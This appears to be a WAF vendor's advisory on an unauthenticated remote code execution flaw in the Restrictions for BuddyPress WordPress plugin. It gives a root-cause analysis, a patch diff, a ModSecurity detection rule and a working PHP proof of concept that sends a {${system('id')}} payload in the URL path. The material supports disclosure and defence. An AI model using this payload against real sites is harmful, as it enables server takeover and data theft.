Published : November 23, 2026

CVE-2026-120539: Restrictions for BuddyPress <= 1.5.4 Unauthenticated Remote Code Execution via Request URI String Interpolation in eval() PoC, Patch Analysis & Rule

Plugin bp-restrict
Severity Critical (CVSS 9.8)
CWE 95
Vulnerable Version 1.5.4
Patched Version 1.5.5
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-120539: The Restrictions for BuddyPress plugin for WordPress (versions up to and including 1.5.4) contains an unauthenticated Remote Code Execution vulnerability. The flaw exists in the plugin’s restriction evaluation logic and is triggered by a crafted request URI. Exploitation requires BuddyPress and Paid Memberships Pro to be active. The CVSS score is 9.8 (Critical).

The root cause is unsafe string interpolation of the request URI into a PHP expression that is then evaluated with eval(). In bp-restrict/admin/class-bp-restrict-admin.php around line 207 and bp-restrict/admin/class-bp-restrict-pmpro.php around line 181, the plugin builds the condition string by replacing the %current_url% placeholder with the actual URI enclosed in double quotes: $v = str_replace( ‘%current_url%’, ‘”‘. $uri . ‘”‘, $restriction[‘condition’] );. It then runs eval( ‘$check = ‘ . $v . ‘;’ );. Because the URI is placed inside a double-quoted PHP string literal, PHP interpolates any variable references or complex syntax within it. An attacker can include a payload like {${phpinfo()}} in the URL path. During interpolation, the curly-brace syntax causes PHP to evaluate the embedded expression. No quote breakout is needed. WordPress slashing does not prevent this because the payload contains no quotes. The vulnerable code path executes before any logged-in check, and the affected conditions are enabled by default.

Exploitation is straightforward. An unauthenticated attacker sends a single GET request to any URL on the target site where the plugin’s restriction logic runs (typically the home page or a BuddyPress page). The attacker appends a payload of the form {${system(‘id’)}} or {${phpinfo()}} to the path. For example: GET /{${system(‘id’)}} HTTP/1.1. The plugin builds the URI, interpolates it into the condition string, and eval() executes the embedded PHP code. No authentication, nonce, or special headers are required. The only precondition is that BuddyPress and Paid Memberships Pro are active alongside the vulnerable plugin.

The patch introduces a new method evaluate_condition() in bp-restrict/includes/class-bp-restrict.php (lines 200-224). Instead of splicing the URI into the expression text, the method binds the URI to a local variable $current_url and replaces the %current_url% placeholder with the literal string ‘$current_url’. The eval() call then evaluates an expression that references that variable, keeping request data out of the program text. The admin and PMPro files are updated to call this method. The PMPro file also adds an early continue for logged_in restrictions when the user is not logged in. Additionally, the URI construction in get_current_page_url() now unslashes HTTP_HOST and REQUEST_URI and checks for their existence. This fix eliminates the injection vector because the attacker-controlled URI never becomes part of the eval’d code.

Successful exploitation gives an unauthenticated attacker arbitrary PHP code execution on the server. This can lead to full site compromise, data theft (including user credentials and database contents), installation of backdoors, lateral movement within the hosting environment, and complete loss of confidentiality, integrity, and availability. Atomic Edge research assesses this as a critical severity issue requiring immediate patching to version 1.5.5 or later.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/bp-restrict/admin/class-bp-restrict-admin.php
+++ b/bp-restrict/admin/class-bp-restrict-admin.php
@@ -207,11 +207,7 @@
 			if(  isset( $restriction['logged_in'] ) && $restriction['logged_in'] ) {
 				continue;
 			}
-			$v = str_replace( '%current_url%', '"'. $uri . '"', $restriction['condition'] );
-
-			$check = false;
-			eval( '$check = ' . $v . ';' );
-			if ( $check ) {
+			if ( bp_restrict()->evaluate_condition( $restriction['condition'], $uri ) ) {
 				$this->check_access( $restriction['name'] );
 			}
 		}
--- a/bp-restrict/admin/class-bp-restrict-pmpro.php
+++ b/bp-restrict/admin/class-bp-restrict-pmpro.php
@@ -181,11 +181,12 @@

 		//loop through remaining restrictions
 		foreach ( $all_restrictions as $restriction ) {
-			$v = str_replace( '%current_url%', '"' . $uri . '"', $restriction['condition'] );
+			// logged_in restrictions can never apply to anonymous visitors
+			if ( ! empty( $restriction['logged_in'] ) && ! is_user_logged_in() ) {
+				continue;
+			}

-			$check = false;
-			eval( '$check = ' . $v . ';' );
-			if ( $check ) {
+			if ( bp_restrict()->evaluate_condition( $restriction['condition'], $uri ) ) {

 				$this->check_access( $restriction['name'] );
 			}
--- a/bp-restrict/bp-restrict.php
+++ b/bp-restrict/bp-restrict.php
@@ -14,7 +14,7 @@
  * Plugin Name:       BP Restrict
  * Plugin URI:        http://wordpress.org/plugins
  * Description:       Restrict BuddyPress pages or content
- * Version:           1.5.4
+ * Version:           1.5.5
  * Author:            SeventhQueen
  * Author URI:        https://seventhqueen.com
  * Text Domain:       bp-restrict
@@ -34,7 +34,7 @@
 }

 if (! defined('BP_RESTRICT_VERSION')) {
-	define('BP_RESTRICT_VERSION', '1.5.4');
+	define('BP_RESTRICT_VERSION', '1.5.5');
 }

 /**
--- a/bp-restrict/includes/class-bp-restrict.php
+++ b/bp-restrict/includes/class-bp-restrict.php
@@ -200,6 +200,30 @@
 	}

 	/**
+	 * Evaluate a restriction condition against the current request URI.
+	 *
+	 * Conditions are plugin/filter-authored PHP expressions. The request URI is NEVER
+	 * spliced into the expression text: the %current_url% placeholder is replaced by the
+	 * variable name $current_url, which is bound as a local variable. This keeps request
+	 * data out of the program text (prevents code injection via "{${...}}" interpolation).
+	 *
+	 * @param string $condition PHP expression, may contain %current_url%.
+	 * @param string $uri       Request URI (untrusted data).
+	 *
+	 * @return bool
+	 */
+	public function evaluate_condition( $condition, $uri ) {
+		$current_url = (string) $uri; // bound value, used by the eval'd expression below
+		$expression  = str_replace( '%current_url%', '$current_url', (string) $condition );
+		$check       = false;
+
+		// phpcs:ignore Squiz.PHP.Eval.Discouraged -- fixed, plugin/filter-authored expression; request data is bound, not interpolated.
+		eval( '$check = ' . $expression . ';' );
+
+		return (bool) $check;
+	}
+
+	/**
 	 * Get the current page url
 	 * @return string
 	 */
@@ -207,7 +231,9 @@
 		$s        = empty( $_SERVER["HTTPS"] ) ? '' : ( ( $_SERVER["HTTPS"] === "on" ) ? "s" : '' );
 		$protocol = substr( strtolower( $_SERVER["SERVER_PROTOCOL"] ), 0, strpos( strtolower( $_SERVER["SERVER_PROTOCOL"] ), "/" ) ) . $s;
 		$port     = ( $_SERVER["SERVER_PORT"] == "80" || $_SERVER["SERVER_PORT"] == "443" ) ? "" : ( ":" . $_SERVER["SERVER_PORT"] );
-		$uri      = $protocol . "://" . $_SERVER['HTTP_HOST'] . $port . $_SERVER['REQUEST_URI'];
+		$host     = isset( $_SERVER['HTTP_HOST'] ) ? wp_unslash( $_SERVER['HTTP_HOST'] ) : '';
+		$request  = isset( $_SERVER['REQUEST_URI'] ) ? wp_unslash( $_SERVER['REQUEST_URI'] ) : '';
+		$uri      = $protocol . "://" . $host . $port . $request;
 		$segments = explode( '?', $uri, 2 );
 		$url      = $segments[0];
 		$url      = str_replace( "www.", "", $url );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-120539
# Blocks exploitation attempts targeting the Restrictions for BuddyPress plugin
# The vulnerability is triggered by a payload of the form {${...}} in the request URI path.
# We match the URI path for the specific interpolation syntax {${ ... }} which is not used in normal traffic.

SecRule REQUEST_URI "@rx {${[^}]+}" 
    "id:2026120539,phase:1,deny,status:403,msg:'CVE-2026-120539 - Restrictions for BuddyPress Unauthenticated RCE via URI interpolation',severity:'CRITICAL',tag:'CVE-2026-120539',tag:'WordPress'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-120539 - Restrictions for BuddyPress <= 1.5.4 - Unauthenticated Remote Code Execution via Request URI String Interpolation in eval()

// Configurable target URL (base URL of the WordPress site)
$target_url = 'http://example.com';

// Payload: PHP code to execute. This will be interpolated and eval'd.
// The payload uses the {${...}} syntax to trigger PHP variable interpolation.
$payload = "{${system('id')}}";

// Build the full URL with the payload in the path.
// The plugin constructs the URI and splices it into a double-quoted string, then eval()s it.
$url = rtrim($target_url, '/') . '/' . $payload;

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);

// Execute the request
$response = curl_exec($ch);

if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch) . "n";
} else {
    echo "Request sent. Response length: " . strlen($response) . "n";
    // The output of the executed command (e.g., 'id') will appear in the response body.
    // Search for typical command output patterns.
    if (preg_match('/uid=d+([^)]+)/', $response, $matches)) {
        echo "Command execution confirmed: " . $matches[0] . "n";
    } else {
        echo "Command output not found in response. The target may be patched or conditions not met.n";
    }
}

curl_close($ch);

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.